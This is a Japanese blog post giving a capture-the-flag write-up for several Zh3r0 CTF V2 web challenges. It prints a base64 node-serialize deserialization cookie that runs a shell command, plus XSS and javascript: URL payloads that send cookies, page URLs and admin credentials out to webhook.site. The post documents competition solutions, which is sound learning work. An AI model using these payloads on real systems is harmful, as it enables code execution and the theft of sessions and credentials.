st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

Zh3r0 CTF V2 writeup

6/4 - 6/6という日程で開催された。zer0ptsで参加して1位🎉

[Web] sparta

node-serialize というライブラリの脆弱性を使うとRCEできる。

$ curl -X POST -i http://web.zh3r0.cf:6666/guest -b "guest=eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbiAoKXtyZXR1cm4gcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdjYXQgL2ZsYWcudHh0Jyk7fSgpIn0="
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 152
ETag: W/"98-wa7FnPEe8H/xgAxndfDMHqagFhM"
Date: Fri, 04 Jun 2021 10:46:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Hello zh3r0{4ll_y0u_h4d_t0_d0_w4s_m0v3_th3_0bjc3ts_3mper0r}

[Web] bxxs

Blind XSS。次のペイロードhttp://0.0.0.0:8080/Secret_admin_cookie_panel というパスにXSSがあることがわかる。/Secret_admin_cookie_panel にアクセスした後に /flag にアクセスしたらフラグが得られた記憶があるんだけど、詳しくは覚えていない。

<script>(async()=>{navigator.sendBeacon('https://webhook.site/...',location.href)})()</script>

[Web] Flags

こんな感じのCSPがある中でHTML Injectionができる。script-src はあるが、default-srcstyle-src もないのでCSSでフラグを読み出す。

        <meta http-equiv='Content-Security-Policy' content="script-src 'nonce-56b1e164d7ad85bd42b50fec2c59d2b5d680cbc84b45a8069a30aba8528f0df030aa431126513432a58d98a437cd834e1cc67cb474ba01364960602e9e1edaf0'; object-src 'none'; base-uri 'none'require-trusted-types-for 'script'; frame-src 'none'">

読み出したいものは input の属性値なので input[value^=...] { background: url(...); } みたいな単純なペイロードでなんとかなる。

[Web] Original Store

XSS botjavascript: スキームも受け付けてしまうので、開かれているWebサイトのコンテキストで好きなJavaScriptコードを実行させることができる。javascript:location.href=['https://webhook.site/...?',document.cookie]PHPSESSID が得られる。

[Web] Original Store v2

ログイン画面から /api/ というディレクトリの存在がわかる。アクセスするとディレクトリのインデックスが表示されるが、そのうち /api/v1/authorize.php はログイン中のアカウントのユーザ名とパスワードをJSONで返す。XSS botCookieをリークしなくなったけど、javascript: スキームは相変わらず受け付けるので、さっきのAPIを使ってadminのユーザ名とパスワードを奪う。CORSをなんかアレするのが想定解法だったらしい。

javascript:(async()%3D>{location.href=['https://webhook.site/...?',encodeURIComponent(await(await fetch('/api/v1/authorize.php')).text())]})()